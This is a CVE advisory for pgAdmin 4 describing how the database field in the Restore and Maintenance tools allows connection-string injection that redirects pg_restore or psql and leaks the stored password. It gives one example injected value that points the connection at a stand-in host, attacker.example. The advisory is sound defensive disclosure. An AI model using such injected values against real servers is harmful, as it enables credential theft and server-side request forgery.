CVE-2026-86862 PUBLISHED

pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools

Assigner: PostgreSQL
Reserved: 08.09.2026 Published: 17.09.2026 Updated: 17.09.2026

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.

The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.

The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.

This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

Metrics

CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS Score: 7.1

Same reasoning as the CVSS 3.1 entry: a low-privilege authenticated user redirects a utility connection and captures the stored database credential. VC:H for the credential disclosure; VI:N/VA:N because nothing is altered or denied within pgAdmin. SC:N/SI:N/SA:N because no distinct subsequent system is compromised by the flaw itself. Note that CVSS 4.0 scores a confidentiality-only outcome of this shape higher than CVSS 3.1 does; both values are the calculated results for their respective vectors.

Product Status

Vendor pgadmin.org
Product pgAdmin 4
Versions Default: unaffected
  • affected from 0 to 9.18 (excl.)

Credits

  • Hitesh Jambhale <hitesh.jambhale@enterprisedb.com> finder
  • Hitesh Jambhale <hitesh.jambhale@enterprisedb.com> remediation developer
  • Kundan Sable <kundan.sable@enterprisedb.com> remediation reviewer

References

Problem Types

  • CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') CWE
  • CWE-522 Insufficiently Protected Credentials CWE
  • CWE-918 Server-Side Request Forgery (SSRF) CWE